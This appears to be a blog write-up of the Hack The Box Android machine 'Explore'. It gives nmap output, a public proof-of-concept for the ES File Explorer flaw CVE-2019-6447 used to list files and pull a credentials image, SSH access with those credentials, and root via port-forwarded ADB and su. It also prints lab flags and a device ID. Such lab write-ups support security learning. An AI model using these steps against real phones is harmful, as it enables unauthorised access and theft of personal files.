NameExplore
DifficultyEasy
Release Date2021-06-26
Retired Date<don’t know>
IP Address10.10.10.247
OSAndroid
Points20

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.

foothold

This box was a nice easy box but what makes it different is that is based of Android. This was the first HTB box that ran Android as OS, and while it is Linux based, it’s not actually GNU/Linux as the other ones so we should keep that in mind and approaching the box itself. πŸ˜‰

Now, onto the box itself, let’s start with a quick nmap

# Nmap 7.80 scan initiated Sun Jun 27 00:58:16 2021 as: nmap -p- -sV -sC -oN nmap explore.htb
Nmap scan report for explore.htb (10.129.171.198)
Host is up (0.044s latency).
Not shown: 65530 closed ports
PORT      STATE    SERVICE VERSION
2222/tcp  open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp  filtered freeciv
36529/tcp open     unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 26 Jun 2021 23:58:38 GMT
|     Content-Length: 22
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|   GetRequest: 
|     HTTP/1.1 412 Precondition Failed
|     Date: Sat, 26 Jun 2021 23:58:38 GMT
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.0 501 Not Implemented
|     Date: Sat, 26 Jun 2021 23:58:43 GMT
|     Content-Length: 29
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Method not supported: OPTIONS
|   Help: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 26 Jun 2021 23:58:58 GMT
|     Content-Length: 26
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: HELP
|   RTSPRequest: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 26 Jun 2021 23:58:43 GMT
|     Content-Length: 39
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     valid protocol version: RTSP/1.0
|   SSLSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 26 Jun 2021 23:58:58 GMT
|     Content-Length: 73
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ?G???,???`~?
|     ??{????w????<=?o?
|   TLSSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 26 Jun 2021 23:58:58 GMT
|     Content-Length: 71
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ??random1random2random3random4
|   TerminalServerCookie: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 26 Jun 2021 23:58:58 GMT
|     Content-Length: 54
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|_    Cookie: mstshash=nmap
42135/tcp open     http    ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open     http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.80%I=7%D=6/27%Time=60D7BF2F%P=x86_64-redhat-linux-gnu%
SF:r(NULL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port36529-TCP:V=7.80%I=7%D=6/27%Time=60D7BF2E%P=x86_64-redhat-linux-gnu
SF:%r(GenericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sat,
SF:\x2026\x20Jun\x202021\x2023:58:38\x20GMT\r\nContent-Length:\x2022\r\nCo
SF:ntent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\
SF:r\n\r\nInvalid\x20request\x20line:\x20")%r(GetRequest,5C,"HTTP/1\.1\x20
SF:412\x20Precondition\x20Failed\r\nDate:\x20Sat,\x2026\x20Jun\x202021\x20
SF:23:58:38\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,B5,"HTT
SF:P/1\.0\x20501\x20Not\x20Implemented\r\nDate:\x20Sat,\x2026\x20Jun\x2020
SF:21\x2023:58:43\x20GMT\r\nContent-Length:\x2029\r\nContent-Type:\x20text
SF:/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nMethod\x20no
SF:t\x20supported:\x20OPTIONS")%r(RTSPRequest,BB,"HTTP/1\.0\x20400\x20Bad\
SF:x20Request\r\nDate:\x20Sat,\x2026\x20Jun\x202021\x2023:58:43\x20GMT\r\n
SF:Content-Length:\x2039\r\nContent-Type:\x20text/plain;\x20charset=US-ASC
SF:II\r\nConnection:\x20Close\r\n\r\nNot\x20a\x20valid\x20protocol\x20vers
SF:ion:\x20\x20RTSP/1\.0")%r(Help,AE,"HTTP/1\.0\x20400\x20Bad\x20Request\r
SF:\nDate:\x20Sat,\x2026\x20Jun\x202021\x2023:58:58\x20GMT\r\nContent-Leng
SF:th:\x2026\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnec
SF:tion:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20HELP")%r(SSLSessio
SF:nReq,DD,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sat,\x2026\x20J
SF:un\x202021\x2023:58:58\x20GMT\r\nContent-Length:\x2073\r\nContent-Type:
SF:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nInva
SF:lid\x20request\x20line:\x20\x16\x03\0\0S\x01\0\0O\x03\0\?G\?\?\?,\?\?\?
SF:`~\?\0\?\?{\?\?\?\?w\?\?\?\?<=\?o\?\x10n\0\0\(\0\x16\0\x13\0")%r(Termin
SF:alServerCookie,CA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sat,\
SF:x2026\x20Jun\x202021\x2023:58:58\x20GMT\r\nContent-Length:\x2054\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r
SF:\n\r\nInvalid\x20request\x20line:\x20\x03\0\0\*%\?\0\0\0\0\0Cookie:\x20
SF:mstshash=nmap")%r(TLSSessionReq,DB,"HTTP/1\.0\x20400\x20Bad\x20Request\
SF:r\nDate:\x20Sat,\x2026\x20Jun\x202021\x2023:58:58\x20GMT\r\nContent-Len
SF:gth:\x2071\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConne
SF:ction:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20\x16\x03\0\0i\x01
SF:\0\0e\x03\x03U\x1c\?\?random1random2random3random4\0\0\x0c\0/\0");
Service Info: Device: phone

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 27 01:00:14 2021 -- 1 IP address (1 host up) scanned in 117.52 seconds

Bare in mind that the service’s “name” is taken from a standard list that maps a port to a service unless nmap is able to pinpoint what service is running by “talking” to it (which is the case of the 2222 port for example). I found weird that a “phone” is running a “Minecraft server” so I went and searched for port 59777 on Android.

search-59777

Well look at that! We already hit a vulnerability! CVE-2019-6447 allows for arbitrary file read on the device. There’s also a PoC available so we might just download it and explore what we can with it until we got our foothold.

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ python poc.py 
Usage:
- python3 poc.py list
- python3 poc.py --get-file [filepath]
- python3 poc.py --cmd [cmd]
- python3 poc.py --cmd [cmd] --host [target_host]
- python3 poc.py --cmd [cmd] --network [network]
- python3 poc.py --cmd [cmd] --pkg [package_name]
- python3 poc.py --verbose --cmd [cmd] --pkg [package_name]

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ python poc.py list

######################
# Available Commands #
######################

listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info. Package name parameter is needed
appPull: Pull an app from the device
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed

Lot’s of options in it. So let’s start with listFiles and maybe we get our flag πŸ˜‡

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ python poc.py --cmd listFiles --host 10.10.10.247
[*] Executing command: listFiles on 10.10.10.247
[*] Server responded with: 200
[
{"name":"lib", "time":"3/25/20 05:12:02 AM", "type":"folder", "size":"12.00 KB (12,288 Bytes)", }, 
{"name":"vndservice_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"65.00 Bytes (65 Bytes)", }, 
{"name":"vendor_service_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"vendor_seapp_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"vendor_property_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"392.00 Bytes (392 Bytes)", }, 
{"name":"vendor_hwservice_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"vendor_file_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"6.92 KB (7,081 Bytes)", }, 
{"name":"vendor", "time":"3/25/20 12:12:33 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", }, 
{"name":"ueventd.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"5.00 KB (5,122 Bytes)", }, 
{"name":"ueventd.android_x86_64.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"464.00 Bytes (464 Bytes)", }, 
{"name":"system", "time":"3/25/20 12:12:31 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", }, 
{"name":"sys", "time":"7/4/21 10:29:58 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"storage", "time":"7/4/21 10:30:10 AM", "type":"folder", "size":"80.00 Bytes (80 Bytes)", }, 
{"name":"sepolicy", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"357.18 KB (365,756 Bytes)", }, 
{"name":"sdcard", "time":"4/21/21 02:12:29 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", }, 
{"name":"sbin", "time":"7/4/21 10:29:58 AM", "type":"folder", "size":"140.00 Bytes (140 Bytes)", }, 
{"name":"product", "time":"3/24/20 11:39:17 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", }, 
{"name":"proc", "time":"7/4/21 10:29:57 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"plat_service_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"13.73 KB (14,057 Bytes)", }, 
{"name":"plat_seapp_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"1.28 KB (1,315 Bytes)", }, 
{"name":"plat_property_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"6.53 KB (6,687 Bytes)", }, 
{"name":"plat_hwservice_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"7.04 KB (7,212 Bytes)", }, 
{"name":"plat_file_contexts", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"23.30 KB (23,863 Bytes)", }, 
{"name":"oem", "time":"7/4/21 10:29:58 AM", "type":"folder", "size":"40.00 Bytes (40 Bytes)", }, 
{"name":"odm", "time":"7/4/21 10:29:58 AM", "type":"folder", "size":"220.00 Bytes (220 Bytes)", }, 
{"name":"mnt", "time":"7/4/21 10:29:59 AM", "type":"folder", "size":"240.00 Bytes (240 Bytes)", }, 
{"name":"init.zygote64_32.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"875.00 Bytes (875 Bytes)", }, 
{"name":"init.zygote32.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"511.00 Bytes (511 Bytes)", }, 
{"name":"init.usb.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"5.51 KB (5,646 Bytes)", }, 
{"name":"init.usb.configfs.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"7.51 KB (7,690 Bytes)", }, 
{"name":"init.superuser.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"582.00 Bytes (582 Bytes)", }, 
{"name":"init.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"29.00 KB (29,697 Bytes)", }, 
{"name":"init.environ.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"1.04 KB (1,064 Bytes)", }, 
{"name":"init.android_x86_64.rc", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"3.36 KB (3,439 Bytes)", }, 
{"name":"init", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"2.29 MB (2,401,264 Bytes)", }, 
{"name":"fstab.android_x86_64", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"753.00 Bytes (753 Bytes)", }, 
{"name":"etc", "time":"3/25/20 03:41:52 AM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", }, 
{"name":"dev", "time":"7/4/21 10:30:00 AM", "type":"folder", "size":"2.64 KB (2,700 Bytes)", }, 
{"name":"default.prop", "time":"7/4/21 10:29:58 AM", "type":"file", "size":"1.09 KB (1,118 Bytes)", }, 
{"name":"data", "time":"3/15/21 04:49:09 PM", "type":"folder", "size":"4.00 KB (4,096 Bytes)", }, 
{"name":"d", "time":"7/4/21 10:29:57 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"config", "time":"7/4/21 10:29:59 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"charger", "time":"12/31/69 07:00:00 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"cache", "time":"7/4/21 10:29:59 AM", "type":"folder", "size":"120.00 Bytes (120 Bytes)", }, 
{"name":"bugreports", "time":"12/31/69 07:00:00 PM", "type":"file", "size":"0.00 Bytes (0 Bytes)", }, 
{"name":"bin", "time":"3/25/20 12:26:22 AM", "type":"folder", "size":"8.00 KB (8,192 Bytes)", }, 
{"name":"acct", "time":"7/4/21 10:29:58 AM", "type":"folder", "size":"0.00 Bytes (0 Bytes)", }
]

Not much of interesting stuff ☹️ Maybe we’re luckier with the listPics command…

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ python poc.py --cmd listPics --host 10.10.10.247
[*] Executing command: listPics on 10.10.10.247
[*] Server responded with: 200

{"name":"concept.jpg", "time":"4/21/21 02:38:08 AM", "location":"/storage/emulated/0/DCIM/concept.jpg", "size":"135.33 KB (138,573 Bytes)", },
{"name":"anc.png", "time":"4/21/21 02:37:50 AM", "location":"/storage/emulated/0/DCIM/anc.png", "size":"6.24 KB (6,392 Bytes)", },
{"name":"creds.jpg", "time":"4/21/21 02:38:18 AM", "location":"/storage/emulated/0/DCIM/creds.jpg", "size":"1.14 MB (1,200,401 Bytes)", },
{"name":"224_anc.png", "time":"4/21/21 02:37:21 AM", "location":"/storage/emulated/0/DCIM/224_anc.png", "size":"124.88 KB (127,876 Bytes)"}

Oh now we’re talking! a creds.jpg file. Now we can retrieve the file specifying the path, ie., using the following link: http://explore.htb:59777/storage/emulated/0/DCIM/creds.jpg

creds

Nice way to store credentials Kristi πŸ˜‰ (kristi:Kr1sT!5h@Rp3xPl0r3!)

Now we can just SSH into the box and we have our foothold

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ ssh kristi@explore.htb -p 2222
Password authentication
(kristi@explore.htb) Password: 
:/ $ whoami
u0_a76
:/ $ 

user flag

Well, Android is a different system and there’s no /etc/passwd and also, there’s no /home, but the user flag must be somewhere… Let’s just look for it.

:/ $ find / -name "user.txt" 2> /dev/null                                      
1|:/ $ ls /data
ls: /data: Permission denied
1|:/ $ ls /sdcard/                                                             
Alarms  DCIM     Movies Notifications Podcasts  backups   user.txt 
Android Download Music  Pictures      Ringtones dianxinos 
:/ $ cat /sdcard/user.txt
f32017174c7c7e8f50c6da52891ae250
:/ $ 

Got it!

Looks like find doesn’t cross filesystems on Android that’s why we didn’t catch the user.txt file with it

root flag

Now for the root flag, we need to recheck nmap result. Port 5555 is normally bound to ADB (Android Debug Bridge). ADB is a tool that let’s you run commands on a terminal but also allows you to pop a shell into it (it’s mostly used for development). Anyway, we see that it is there but it’s filtered, which means that we can’t access it from the “outside”, but since we have SSH to the box, we can just port forward it locally, and then connect to it. If adbd is running as root, we can then just elevate our privileges to root and get the flag.

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ ssh -L5555:127.0.0.1:5555 kristi@explore.htb -p 2222
Password authentication
(kristi@explore.htb) Password: 
:/ $
β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ adb connect localhost:5555
connected to localhost:5555

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Explore]
└─$ adb shell
x86_64:/ $ su                                                                                                                                                                         
:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0
:/ # find / -name "root.txt" 2> /dev/null
/data/root.txt
1|:/ # cat /data/root.txt                                                      
f04fc82b6d49b41c9b08982be59338c5
:/ # 

And there we go, our root flag πŸ˜‰πŸ₯³

root password hash deviceid

Well, Android doesn’t have a root password hash, so we really need something else for replace it. For now, I’m using the ANDROID_ID which we can get as follows:

:/ # settings get secure android_id
c2950f3746315cdc